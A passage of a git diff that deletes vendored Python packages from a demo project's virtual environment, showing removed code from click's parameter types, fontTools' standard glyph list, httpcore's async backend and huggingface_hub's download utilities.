boundary instead of failing. This is not supported if either - boundary is marked ``open``. - - .. versionchanged:: 8.0 - Added the ``min_open`` and ``max_open`` parameters. - """ - - name = "float range" - - def __init__( - self, - min: t.Optional[float] = None, - max: t.Optional[float] = None, - min_open: bool = False, - max_open: bool = False, - clamp: bool = False, - ) -> None: - super().__init__( - min=min, max=max, min_open=min_open, max_open=max_open, clamp=clamp - ) - - if (min_open or max_open) and clamp: - raise TypeError("Clamping is not supported for open bounds.") - - def _clamp(self, bound: float, dir: "te.Literal[1, -1]", open: bool) -> float: - if not open: - return bound - - # Could use Python 3.9's math.nextafter here, but clamping an - # open float range doesn't seem to be particularly useful. It's - # left up to the user to write a callback to do it if needed. - raise RuntimeError("Clamping is not supported for open bounds.") - - -class BoolParamType(ParamType): - name = "boolean" - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - if value in {False, True}: - return bool(value) - - norm = value.strip().lower() - - if norm in {"1", "true", "t", "yes", "y", "on"}: - return True - - if norm in {"0", "false", "f", "no", "n", "off"}: - return False - - self.fail( - _("{value!r} is not a valid boolean.").format(value=value), param, ctx - ) - - def __repr__(self) -> str: - return "BOOL" - - -class UUIDParameterType(ParamType): - name = "uuid" - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - import uuid - - if isinstance(value, uuid.UUID): - return value - - value = value.strip() - - try: - return uuid.UUID(value) - except ValueError: - self.fail( - _("{value!r} is not a valid UUID.").format(value=value), param, ctx - ) - - def __repr__(self) -> str: - return "UUID" - - -class File(ParamType): - """Declares a parameter to be a file for reading or writing. The file - is automatically closed once the context tears down (after the command - finished working). - - Files can be opened for reading or writing. The special value ``-`` - indicates stdin or stdout depending on the mode. - - By default, the file is opened for reading text data, but it can also be - opened in binary mode or for writing. The encoding parameter can be used - to force a specific encoding. - - The `lazy` flag controls if the file should be opened immediately or upon - first IO. The default is to be non-lazy for standard input and output - streams as well as files opened for reading, `lazy` otherwise. When opening a - file lazily for reading, it is still opened temporarily for validation, but - will not be held open until first IO. lazy is mainly useful when opening - for writing to avoid creating the file until it is needed. - - Starting with Click 2.0, files can also be opened atomically in which - case all writes go into a separate file in the same folder and upon - completion the file will be moved over to the original location. This - is useful if a file regularly read by other users is modified. - - See :ref:`file-args` for more information. - """ - - name = "filename" - envvar_list_splitter: t.ClassVar[str] = os.path.pathsep - - def __init__( - self, - mode: str = "r", - encoding: t.Optional[str] = None, - errors: t.Optional[str] = "strict", - lazy: t.Optional[bool] = None, - atomic: bool = False, - ) -> None: - self.mode = mode - self.encoding = encoding - self.errors = errors - self.lazy = lazy - self.atomic = atomic - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update(mode=self.mode, encoding=self.encoding) - return info_dict - - def resolve_lazy_flag(self, value: "t.Union[str, os.PathLike[str]]") -> bool: - if self.lazy is not None: - return self.lazy - if os.fspath(value) == "-": - return False - elif "w" in self.mode: - return True - return False - - def convert( - self, - value: t.Union[str, "os.PathLike[str]", t.IO[t.Any]], - param: t.Optional["Parameter"], - ctx: t.Optional["Context"], - ) -> t.IO[t.Any]: - if _is_file_like(value): - return value - - value = t.cast("t.Union[str, os.PathLike[str]]", value) - - try: - lazy = self.resolve_lazy_flag(value) - - if lazy: - lf = LazyFile( - value, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - - if ctx is not None: - ctx.call_on_close(lf.close_intelligently) - - return t.cast(t.IO[t.Any], lf) - - f, should_close = open_stream( - value, self.mode, self.encoding, self.errors, atomic=self.atomic - ) - - # If a context is provided, we automatically close the file - # at the end of the context execution (or flush out). If a - # context does not exist, it's the caller's responsibility to - # properly close the file. This for instance happens when the - # type is used with prompts. - if ctx is not None: - if should_close: - ctx.call_on_close(safecall(f.close)) - else: - ctx.call_on_close(safecall(f.flush)) - - return f - except OSError as e: # noqa: B014 - self.fail(f"'{format_filename(value)}': {e.strerror}", param, ctx) - - def shell_complete( - self, ctx: "Context", param: "Parameter", incomplete: str - ) -> t.List["CompletionItem"]: - """Return a special completion marker that tells the completion - system to use the shell to provide file path completions. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - return [CompletionItem(incomplete, type="file")] - - -def _is_file_like(value: t.Any) -> "te.TypeGuard[t.IO[t.Any]]": - return hasattr(value, "read") or hasattr(value, "write") - - -class Path(ParamType): - """The ``Path`` type is similar to the :class:`File` type, but - returns the filename instead of an open file. Various checks can be - enabled to validate the type of file and permissions. - - :param exists: The file or directory needs to exist for the value to - be valid. If this is not set to ``True``, and the file does not - exist, then all further checks are silently skipped. - :param file_okay: Allow a file as a value. - :param dir_okay: Allow a directory as a value. - :param readable: if true, a readable check is performed. - :param writable: if true, a writable check is performed. - :param executable: if true, an executable check is performed. - :param resolve_path: Make the value absolute and resolve any - symlinks. A ``~`` is not expanded, as this is supposed to be - done by the shell only. - :param allow_dash: Allow a single dash as a value, which indicates - a standard stream (but does not open it). Use - :func:`~click.open_file` to handle opening this value. - :param path_type: Convert the incoming path value to this type. If - ``None``, keep Python's default, which is ``str``. Useful to - convert to :class:`pathlib.Path`. - - .. versionchanged:: 8.1 - Added the ``executable`` parameter. - - .. versionchanged:: 8.0 - Allow passing ``path_type=pathlib.Path``. - - .. versionchanged:: 6.0 - Added the ``allow_dash`` parameter. - """ - - envvar_list_splitter: t.ClassVar[str] = os.path.pathsep - - def __init__( - self, - exists: bool = False, - file_okay: bool = True, - dir_okay: bool = True, - writable: bool = False, - readable: bool = True, - resolve_path: bool = False, - allow_dash: bool = False, - path_type: t.Optional[t.Type[t.Any]] = None, - executable: bool = False, - ): - self.exists = exists - self.file_okay = file_okay - self.dir_okay = dir_okay - self.readable = readable - self.writable = writable - self.executable = executable - self.resolve_path = resolve_path - self.allow_dash = allow_dash - self.type = path_type - - if self.file_okay and not self.dir_okay: - self.name: str = _("file") - elif self.dir_okay and not self.file_okay: - self.name = _("directory") - else: - self.name = _("path") - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update( - exists=self.exists, - file_okay=self.file_okay, - dir_okay=self.dir_okay, - writable=self.writable, - readable=self.readable, - allow_dash=self.allow_dash, - ) - return info_dict - - def coerce_path_result( - self, value: "t.Union[str, os.PathLike[str]]" - ) -> "t.Union[str, bytes, os.PathLike[str]]": - if self.type is not None and not isinstance(value, self.type): - if self.type is str: - return os.fsdecode(value) - elif self.type is bytes: - return os.fsencode(value) - else: - return t.cast("os.PathLike[str]", self.type(value)) - - return value - - def convert( - self, - value: "t.Union[str, os.PathLike[str]]", - param: t.Optional["Parameter"], - ctx: t.Optional["Context"], - ) -> "t.Union[str, bytes, os.PathLike[str]]": - rv = value - - is_dash = self.file_okay and self.allow_dash and rv in (b"-", "-") - - if not is_dash: - if self.resolve_path: - # os.path.realpath doesn't resolve symlinks on Windows - # until Python 3.8. Use pathlib for now. - import pathlib - - rv = os.fsdecode(pathlib.Path(rv).resolve()) - - try: - st = os.stat(rv) - except OSError: - if not self.exists: - return self.coerce_path_result(rv) - self.fail( - _("{name} {filename!r} does not exist.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if not self.file_okay and stat.S_ISREG(st.st_mode): - self.fail( - _("{name} {filename!r} is a file.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - if not self.dir_okay and stat.S_ISDIR(st.st_mode): - self.fail( - _("{name} '{filename}' is a directory.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.readable and not os.access(rv, os.R_OK): - self.fail( - _("{name} {filename!r} is not readable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.writable and not os.access(rv, os.W_OK): - self.fail( - _("{name} {filename!r} is not writable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - if self.executable and not os.access(value, os.X_OK): - self.fail( - _("{name} {filename!r} is not executable.").format( - name=self.name.title(), filename=format_filename(value) - ), - param, - ctx, - ) - - return self.coerce_path_result(rv) - - def shell_complete( - self, ctx: "Context", param: "Parameter", incomplete: str - ) -> t.List["CompletionItem"]: - """Return a special completion marker that tells the completion - system to use the shell to provide path completions for only - directories or any paths. - - :param ctx: Invocation context for this command. - :param param: The parameter that is requesting completion. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - from click.shell_completion import CompletionItem - - type = "dir" if self.dir_okay and not self.file_okay else "file" - return [CompletionItem(incomplete, type=type)] - - -class Tuple(CompositeParamType): - """The default behavior of Click is to apply a type on a value directly. - This works well in most cases, except for when `nargs` is set to a fixed - count and different types should be used for different items. In this - case the :class:`Tuple` type can be used. This type can only be used - if `nargs` is set to a fixed number. - - For more information see :ref:`tuple-type`. - - This can be selected by using a Python tuple literal as a type. - - :param types: a list of types that should be used for the tuple items. - """ - - def __init__(self, types: t.Sequence[t.Union[t.Type[t.Any], ParamType]]) -> None: - self.types: t.Sequence[ParamType] = [convert_type(ty) for ty in types] - - def to_info_dict(self) -> t.Dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict["types"] = [t.to_info_dict() for t in self.types] - return info_dict - - @property - def name(self) -> str: # type: ignore - return f"<{' '.join(ty.name for ty in self.types)}>" - - @property - def arity(self) -> int: # type: ignore - return len(self.types) - - def convert( - self, value: t.Any, param: t.Optional["Parameter"], ctx: t.Optional["Context"] - ) -> t.Any: - len_type = len(self.types) - len_value = len(value) - - if len_value != len_type: - self.fail( - ngettext( - "{len_type} values are required, but {len_value} was given.", - "{len_type} values are required, but {len_value} were given.", - len_value, - ).format(len_type=len_type, len_value=len_value), - param=param, - ctx=ctx, - ) - - return tuple(ty(x, param, ctx) for ty, x in zip(self.types, value)) - - -def convert_type(ty: t.Optional[t.Any], default: t.Optional[t.Any] = None) -> ParamType: - """Find the most appropriate :class:`ParamType` for the given Python - type. If the type isn't provided, it can be inferred from a default - value. - """ - guessed_type = False - - if ty is None and default is not None: - if isinstance(default, (tuple, list)): - # If the default is empty, ty will remain None and will - # return STRING. - if default: - item = default[0] - - # A tuple of tuples needs to detect the inner types. - # Can't call convert recursively because that would - # incorrectly unwind the tuple to a single type. - if isinstance(item, (tuple, list)): - ty = tuple(map(type, item)) - else: - ty = type(item) - else: - ty = type(default) - - guessed_type = True - - if isinstance(ty, tuple): - return Tuple(ty) - - if isinstance(ty, ParamType): - return ty - - if ty is str or ty is None: - return STRING - - if ty is int: - return INT - - if ty is float: - return FLOAT - - if ty is bool: - return BOOL - - if guessed_type: - return STRING - - if __debug__: - try: - if issubclass(ty, ParamType): - raise AssertionError( - f"Attempted to use an uninstantiated parameter type ({ty})." - ) - except TypeError: - # ty is an instance (correct), so issubclass fails. - pass - - return FuncParamType(ty) - - -#: A dummy parameter type that just does nothing. From a user's -#: perspective this appears to just be the same as `STRING` but -#: internally no string conversion takes place if the input was bytes. -#: This is usually useful when working with file paths as they can -#: appear in bytes and unicode. -#: -#: For path related uses the :class:`Path` type is a better choice but -#: there are situations where an unprocessed type is useful which is why -#: it is is provided. -#: -#: .. versionadded:: 4.0 -UNPROCESSED = UnprocessedParamType() - -#: A unicode string parameter type which is the implicit default. This -#: can also be selected by using ``str`` as type. -STRING = StringParamType() - -#: An integer parameter. This can also be selected by using ``int`` as -#: type. -INT = IntParamType() - -#: A floating point value parameter. This can also be selected by using -#: ``float`` as type. -FLOAT = FloatParamType() - -#: A boolean parameter. This is the default for boolean flags. This can -#: also be selected by using ``bool`` as a type. -BOOL = BoolParamType() - -#: A UUID parameter. -UUID = UUIDParameterType() diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/fontTools/ttLib/standardGlyphOrder.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/fontTools/ttLib/standardGlyphOrder.py deleted file mode 100644 index 4062385240096ac822814aebb8bf7c59cf003a8f..0000000000000000000000000000000000000000 --- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/fontTools/ttLib/standardGlyphOrder.py +++ /dev/null @@ -1,271 +0,0 @@ -# -# 'post' table formats 1.0 and 2.0 rely on this list of "standard" -# glyphs. -# -# My list is correct according to the Apple documentation for the 'post' table: -# https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6post.html -# (However, it seems that TTFdump (from MS) and FontLab disagree, at -# least with respect to the last glyph, which they list as 'dslash' -# instead of 'dcroat'.) -# - -standardGlyphOrder = [ - ".notdef", # 0 - ".null", # 1 - "nonmarkingreturn", # 2 - "space", # 3 - "exclam", # 4 - "quotedbl", # 5 - "numbersign", # 6 - "dollar", # 7 - "percent", # 8 - "ampersand", # 9 - "quotesingle", # 10 - "parenleft", # 11 - "parenright", # 12 - "asterisk", # 13 - "plus", # 14 - "comma", # 15 - "hyphen", # 16 - "period", # 17 - "slash", # 18 - "zero", # 19 - "one", # 20 - "two", # 21 - "three", # 22 - "four", # 23 - "five", # 24 - "six", # 25 - "seven", # 26 - "eight", # 27 - "nine", # 28 - "colon", # 29 - "semicolon", # 30 - "less", # 31 - "equal", # 32 - "greater", # 33 - "question", # 34 - "at", # 35 - "A", # 36 - "B", # 37 - "C", # 38 - "D", # 39 - "E", # 40 - "F", # 41 - "G", # 42 - "H", # 43 - "I", # 44 - "J", # 45 - "K", # 46 - "L", # 47 - "M", # 48 - "N", # 49 - "O", # 50 - "P", # 51 - "Q", # 52 - "R", # 53 - "S", # 54 - "T", # 55 - "U", # 56 - "V", # 57 - "W", # 58 - "X", # 59 - "Y", # 60 - "Z", # 61 - "bracketleft", # 62 - "backslash", # 63 - "bracketright", # 64 - "asciicircum", # 65 - "underscore", # 66 - "grave", # 67 - "a", # 68 - "b", # 69 - "c", # 70 - "d", # 71 - "e", # 72 - "f", # 73 - "g", # 74 - "h", # 75 - "i", # 76 - "j", # 77 - "k", # 78 - "l", # 79 - "m", # 80 - "n", # 81 - "o", # 82 - "p", # 83 - "q", # 84 - "r", # 85 - "s", # 86 - "t", # 87 - "u", # 88 - "v", # 89 - "w", # 90 - "x", # 91 - "y", # 92 - "z", # 93 - "braceleft", # 94 - "bar", # 95 - "braceright", # 96 - "asciitilde", # 97 - "Adieresis", # 98 - "Aring", # 99 - "Ccedilla", # 100 - "Eacute", # 101 - "Ntilde", # 102 - "Odieresis", # 103 - "Udieresis", # 104 - "aacute", # 105 - "agrave", # 106 - "acircumflex", # 107 - "adieresis", # 108 - "atilde", # 109 - "aring", # 110 - "ccedilla", # 111 - "eacute", # 112 - "egrave", # 113 - "ecircumflex", # 114 - "edieresis", # 115 - "iacute", # 116 - "igrave", # 117 - "icircumflex", # 118 - "idieresis", # 119 - "ntilde", # 120 - "oacute", # 121 - "ograve", # 122 - "ocircumflex", # 123 - "odieresis", # 124 - "otilde", # 125 - "uacute", # 126 - "ugrave", # 127 - "ucircumflex", # 128 - "udieresis", # 129 - "dagger", # 130 - "degree", # 131 - "cent", # 132 - "sterling", # 133 - "section", # 134 - "bullet", # 135 - "paragraph", # 136 - "germandbls", # 137 - "registered", # 138 - "copyright", # 139 - "trademark", # 140 - "acute", # 141 - "dieresis", # 142 - "notequal", # 143 - "AE", # 144 - "Oslash", # 145 - "infinity", # 146 - "plusminus", # 147 - "lessequal", # 148 - "greaterequal", # 149 - "yen", # 150 - "mu", # 151 - "partialdiff", # 152 - "summation", # 153 - "product", # 154 - "pi", # 155 - "integral", # 156 - "ordfeminine", # 157 - "ordmasculine", # 158 - "Omega", # 159 - "ae", # 160 - "oslash", # 161 - "questiondown", # 162 - "exclamdown", # 163 - "logicalnot", # 164 - "radical", # 165 - "florin", # 166 - "approxequal", # 167 - "Delta", # 168 - "guillemotleft", # 169 - "guillemotright", # 170 - "ellipsis", # 171 - "nonbreakingspace", # 172 - "Agrave", # 173 - "Atilde", # 174 - "Otilde", # 175 - "OE", # 176 - "oe", # 177 - "endash", # 178 - "emdash", # 179 - "quotedblleft", # 180 - "quotedblright", # 181 - "quoteleft", # 182 - "quoteright", # 183 - "divide", # 184 - "lozenge", # 185 - "ydieresis", # 186 - "Ydieresis", # 187 - "fraction", # 188 - "currency", # 189 - "guilsinglleft", # 190 - "guilsinglright", # 191 - "fi", # 192 - "fl", # 193 - "daggerdbl", # 194 - "periodcentered", # 195 - "quotesinglbase", # 196 - "quotedblbase", # 197 - "perthousand", # 198 - "Acircumflex", # 199 - "Ecircumflex", # 200 - "Aacute", # 201 - "Edieresis", # 202 - "Egrave", # 203 - "Iacute", # 204 - "Icircumflex", # 205 - "Idieresis", # 206 - "Igrave", # 207 - "Oacute", # 208 - "Ocircumflex", # 209 - "apple", # 210 - "Ograve", # 211 - "Uacute", # 212 - "Ucircumflex", # 213 - "Ugrave", # 214 - "dotlessi", # 215 - "circumflex", # 216 - "tilde", # 217 - "macron", # 218 - "breve", # 219 - "dotaccent", # 220 - "ring", # 221 - "cedilla", # 222 - "hungarumlaut", # 223 - "ogonek", # 224 - "caron", # 225 - "Lslash", # 226 - "lslash", # 227 - "Scaron", # 228 - "scaron", # 229 - "Zcaron", # 230 - "zcaron", # 231 - "brokenbar", # 232 - "Eth", # 233 - "eth", # 234 - "Yacute", # 235 - "yacute", # 236 - "Thorn", # 237 - "thorn", # 238 - "minus", # 239 - "multiply", # 240 - "onesuperior", # 241 - "twosuperior", # 242 - "threesuperior", # 243 - "onehalf", # 244 - "onequarter", # 245 - "threequarters", # 246 - "franc", # 247 - "Gbreve", # 248 - "gbreve", # 249 - "Idotaccent", # 250 - "Scedilla", # 251 - "scedilla", # 252 - "Cacute", # 253 - "cacute", # 254 - "Ccaron", # 255 - "ccaron", # 256 - "dcroat", # 257 -] diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/httpcore/_backends/auto.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/httpcore/_backends/auto.py deleted file mode 100644 index b612ba071caa5ed11ea268209a0870d8b74b7561..0000000000000000000000000000000000000000 --- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/httpcore/_backends/auto.py +++ /dev/null @@ -1,52 +0,0 @@ -import typing -from typing import Optional - -import sniffio - -from .base import SOCKET_OPTION, AsyncNetworkBackend, AsyncNetworkStream - - -class AutoBackend(AsyncNetworkBackend): - async def _init_backend(self) -> None: - if not (hasattr(self, "_backend")): - backend = sniffio.current_async_library() - if backend == "trio": - from .trio import TrioBackend - - self._backend: AsyncNetworkBackend = TrioBackend() - else: - from .anyio import AnyIOBackend - - self._backend = AnyIOBackend() - - async def connect_tcp( - self, - host: str, - port: int, - timeout: Optional[float] = None, - local_address: Optional[str] = None, - socket_options: typing.Optional[typing.Iterable[SOCKET_OPTION]] = None, - ) -> AsyncNetworkStream: - await self._init_backend() - return await self._backend.connect_tcp( - host, - port, - timeout=timeout, - local_address=local_address, - socket_options=socket_options, - ) - - async def connect_unix_socket( - self, - path: str, - timeout: Optional[float] = None, - socket_options: typing.Optional[typing.Iterable[SOCKET_OPTION]] = None, - ) -> AsyncNetworkStream: # pragma: nocover - await self._init_backend() - return await self._backend.connect_unix_socket( - path, timeout=timeout, socket_options=socket_options - ) - - async def sleep(self, seconds: float) -> None: # pragma: nocover - await self._init_backend() - return await self._backend.sleep(seconds) diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/huggingface_hub/commands/__init__.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/huggingface_hub/commands/__init__.py deleted file mode 100644 index 49d088214505b9604964ab142e7f8a5b38ccd5ef..0000000000000000000000000000000000000000 --- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/huggingface_hub/commands/__init__.py +++ /dev/null @@ -1,27 +0,0 @@ -# Copyright 2020 The HuggingFace Team. All rights reserved. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. - -from abc import ABC, abstractmethod -from argparse import _SubParsersAction - - -class BaseHuggingfaceCLICommand(ABC): - @staticmethod - @abstractmethod - def register_subcommand(parser: _SubParsersAction): - raise NotImplementedError() - - @abstractmethod - def run(self): - raise NotImplementedError() diff --git a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/huggingface_hub/file_download.py b/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/huggingface_hub/file_download.py deleted file mode 100644 index c3c7a797c3b6e7aa83291b7aa78ae2b1ff7228d8..0000000000000000000000000000000000000000 --- a/spaces/DQChoi/gpt-demo/venv/lib/python3.11/site-packages/huggingface_hub/file_download.py +++ /dev/null @@ -1,1631 +0,0 @@ -import copy -import fnmatch -import io -import json -import os -import re -import shutil -import stat -import tempfile -import uuid -import warnings -from contextlib import contextmanager -from dataclasses import dataclass -from functools import partial -from hashlib import sha256 -from pathlib import Path -from typing import Any, BinaryIO, Dict, Generator, Optional, Tuple, Union -from urllib.parse import quote, urlparse - -import requests -from filelock import FileLock -from requests.exceptions import ProxyError, Timeout - -from huggingface_hub import constants - -from . import __version__ # noqa: F401 # for backward compatibility -from .constants import ( - DEFAULT_REVISION, - HF_HUB_DISABLE_SYMLINKS_WARNING, - HF_HUB_ENABLE_HF_TRANSFER, - HUGGINGFACE_CO_URL_TEMPLATE, - HUGGINGFACE_HEADER_X_LINKED_ETAG, - HUGGINGFACE_HEADER_X_LINKED_SIZE, - HUGGINGFACE_HEADER_X_REPO_COMMIT, - HUGGINGFACE_HUB_CACHE, - REPO_ID_SEPARATOR, - REPO_TYPES, - REPO_TYPES_URL_PREFIXES, -) -from .utils import ( - EntryNotFoundError, - LocalEntryNotFoundError, - SoftTemporaryDirectory, - build_hf_headers, - get_fastai_version, # noqa: F401 # for backward compatibility - get_fastcore_version, # noqa: F401 # for backward compatibility - get_graphviz_version, # noqa: F401 # for backward compatibility - get_jinja_version, # noqa: F401 # for backward compatibility - get_pydot_version, # noqa: F401 # for backward compatibility - get_tf_version, # noqa: F401 # for backward compatibility - get_torch_version, # noqa: F401 # for backward compatibility - hf_raise_for_status, - http_backoff, - is_fastai_available, # noqa: F401 # for backward compatibility - is_fastcore_available, # noqa: F401 # for backward compatibility - is_graphviz_available, # noqa: F401 # for backward compatibility - is_jinja_available, # noqa: F401 # for backward compatibility - is_pydot_available, # noqa: F401 # for backward compatibility - is_tf_available, # noqa: F401 # for backward compatibility - is_torch_available, # noqa: F401 # for backward compatibility - logging, - tqdm, - validate_hf_hub_args, -) -from .utils._headers import _http_user_agent -from .utils._runtime import _PY_VERSION # noqa: F401 # for backward compatibility -from .utils._typing import HTTP_METHOD_T, Literal - - -logger = logging.get_logger(__name__) - -# Regex to get filename from a "Content-Disposition" header for CDN-served files -HEADER_FILENAME_PATTERN = re.compile(r'filename="(?P.*?)";') - - -_are_symlinks_supported_in_dir: Dict[str, bool] = {} - - -def are_symlinks_supported(cache_dir: Union[str, Path, None] = None) -> bool: - """Return whether the symlinks are supported on the machine. - - Since symlinks support can change depending on the mounted disk, we need to check - on the precise cache folder. By default, the default HF cache directory is checked. - - Args: - cache_dir (`str`, `Path`, *optional*): - Path to the folder where cached files are stored. - - Returns: [bool] Whether symlinks are supported in the directory. - """ - # Defaults to HF cache - if cache_dir is None: - cache_dir = HUGGINGFACE_HUB_CACHE - cache_dir = str(Path(cache_dir).expanduser().resolve()) # make it unique - - # Check symlink compatibility only once (per cache directory) at first time use - if cache_dir not in _are_symlinks_supported_in_dir: - _are_symlinks_supported_in_dir[cache_dir] = True - - os.makedirs(cache_dir, exist_ok=True) - with SoftTemporaryDirectory(dir=cache_dir) as tmpdir: - src_path = Path(tmpdir) / "dummy_file_src" - src_path.touch() - dst_path = Path(tmpdir) / "dummy_file_dst" - - # Relative source path as in `_create_symlink`` - relative_src = os.path.relpath(src_path, start=os.path.dirname(dst_path)) - try: - os.symlink(relative_src, dst_path) - except OSError: - # Likely running on Windows - _are_symlinks_supported_in_dir[cache_dir] = False - - if not HF_HUB_DISABLE_SYMLINKS_WARNING: - message = ( - "`huggingface_hub` cache-system uses symlinks by default to" - " efficiently store duplicated files but your machine does not" - f" support them in {cache_dir}. Caching files will still work" - " but in a degraded version that might require more space on" - " your disk. This warning can be disabled by setting the" - " `HF_HUB_DISABLE_SYMLINKS_WARNING` environment variable. For" - " more details, see" - " https://huggingface.co/docs/huggingface_hub/how-to-cache#limitations." - ) - if os.name == "nt": - message += ( - "\nTo support symlinks on Windows, you either need to" - " activate Developer Mode or to run Python as an" - " administrator. In order to see activate developer mode," - " see this article:" - " https://docs.microsoft.com/en-us/windows/apps/get-started/enable-your-device-for-development" - ) - warnings.warn(message) - - return _are_symlinks_supported_in_dir[cache_dir] - - -# Return value when trying to load a file from cache but the file does not exist in the distant repo. -_CACHED_NO_EXIST = object() -_CACHED_NO_EXIST_T = Any -REGEX_COMMIT_HASH = re.compile(r"^[0-9a-f]{40}$") - - -@dataclass(frozen=True) -class HfFileMetadata: - """Data structure containing information about a file versioned on the Hub. - - Returned by [`get_hf_file_metadata`] based on a URL. - - Args: - commit_hash (`str`, *optional*): - The commit_hash related to the file. - etag (`str`, *optional*): - Etag of the file on the server. - location (`str`): - Location where to download the file. Can be a Hub url or not (CDN). - size (`size`): - Size of the file. In case of an LFS file, contains the size of the actual - LFS file, not the pointer. - """ - - commit_hash: Optional[str] - etag: Optional[str] - location: str - size: Optional[int] - - -@validate_hf_hub_args -def hf_hub_url( - repo_id: str, - filename: str, - *, - subfolder: Optional[str] = None, - repo_type: Optional[str] = None, - revision: Optional[str] = None, -) -> str: - """Construct the URL of a file from the given information. - - The resolved address can either be a huggingface.co-hosted url, or a link to - Cloudfront (a Content Delivery Network, or CDN) for large files which are - more than a few MBs. - - Args: - repo_id (`str`): - A namespace (user or an organization) name and a repo name separated - by a `/`. - filename (`str`): - The name of the file in the repo. - subfolder (`str`, *optional*): - An optional value corresponding to a folder inside the repo. - repo_type (`str`, *optional*): - Set to `"dataset"` or `"space"` if downloading from a dataset or space, - `None` or `"model"` if downloading from a model. Default is `None`. - revision (`str`, *optional*): - An optional Git revision id which can be a branch name, a tag, or a - commit hash. - - Example: - - ```python - >>> from huggingface_hub import hf_hub_url - - >>> hf_hub_url( - ... repo_id="julien-c/EsperBERTo-small", filename="pytorch_model.bin" - ... ) - 'https://huggingface.co/julien-c/EsperBERTo-small/resolve/main/pytorch_model.bin' - ``` - - - - Notes: - - Cloudfront is replicated over the globe so downloads are way faster for - the end user (and it also lowers our bandwidth costs). - - Cloudfront aggressively caches files by default (default TTL is 24 - hours), however this is not an issue here because we implement a - git-based versioning system on huggingface.co, which means that we store - the files on S3/Cloudfront in a content-addressable way (i.e., the file - name is its hash). Using content-addressable filenames means cache can't - ever be stale. - - In terms of client-side caching from this library, we base our caching - on the objects' entity tag (`ETag`), which is an identifier of a - specific version of a resource [1]_. An object's ETag is: its git-sha1 - if stored in git, or its sha256 if stored in git-lfs. - - - - References: - - - [1] https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/ETag - """ - if subfolder == "": - subfolder = None - if subfolder is not None: - filename = f"{subfolder}/{filename}" - - if repo_type not in REPO_TYPES: - raise ValueError("Invalid repo type") - - if repo_type in REPO_TYPES_URL_PREFIXES: - repo_id = REPO_TYPES_URL_PREFIXES[repo_type] + repo_id - - if revision is None: - revision = DEFAULT_REVISION - return HUGGINGFACE_CO_URL_TEMPLATE.format( - repo_id=repo_id, - revision=quote(revision, safe=""), - filename=quote(filename), - ) - - -def url_to_filename(url: str, etag: Optional[str] = None) -> str: - """Generate a local filename from a url. - - Convert `url` into a hashed filename in a reproducible way. If `etag` is - specified, append its hash to the url's, delimited by a period. If the url - ends with .h5 (Keras HDF5 weights) adds '.h5' to the name so that TF 2.0 can - identify it as a HDF5 file (see - https://github.com/tensorflow/tensorflow/blob/00fad90125b18b80fe054de1055770cfb8fe4ba3/tensorflow/python/keras/engine/network.py#L1380) - - Args: - url (`str`): - The address to the file. - etag (`str`, *optional*): - The ETag of the file. - - Returns: - The generated filename. - """ - url_bytes = url.encode("utf-8") - filename = sha256(url_bytes).hexdigest() - - if etag: - etag_bytes = etag.encode("utf-8") - filename += "." + sha256(etag_bytes).hexdigest() - - if url.endswith(".h5"): - filename += ".h5" - - return filename - - -def filename_to_url( - filename, - cache_dir: Optional[str] = None, - legacy_cache_layout: bool = False, -) -> Tuple[str, str]: - """ - Return the url and etag (which may be `None`) stored for `filename`. Raise - `EnvironmentError` if `filename` or its stored metadata do not exist. - - Args: - filename (`str`): - The name of the file - cache_dir (`str`, *optional*): - The cache directory to use instead of the default one. - legacy_cache_layout (`bool`, *optional*, defaults to `False`): - If `True`, uses the legacy file cache layout i.e. just call `hf_hub_url` - then `cached_download`. This is deprecated as the new cache layout is - more powerful. - """ - if not legacy_cache_layout: - warnings.warn( - "`filename_to_url` uses the legacy way cache file layout", - FutureWarning, - ) - - if cache_dir is None: - cache_dir = HUGGINGFACE_HUB_CACHE - if isinstance(cache_dir, Path): - cache_dir = str(cache_dir) - - cache_path = os.path.join(cache_dir, filename) - if not os.path.exists(cache_path): - raise EnvironmentError(f"file {cache_path} not found") - - meta_path = cache_path + ".json" - if not os.path.exists(meta_path): - raise EnvironmentError(f"file {meta_path} not found") - - with open(meta_path, encoding="utf-8") as meta_file: - metadata = json.load(meta_file) - url = metadata["url"] - etag = metadata["etag"] - - return url, etag - - -def http_user_agent( - *, - 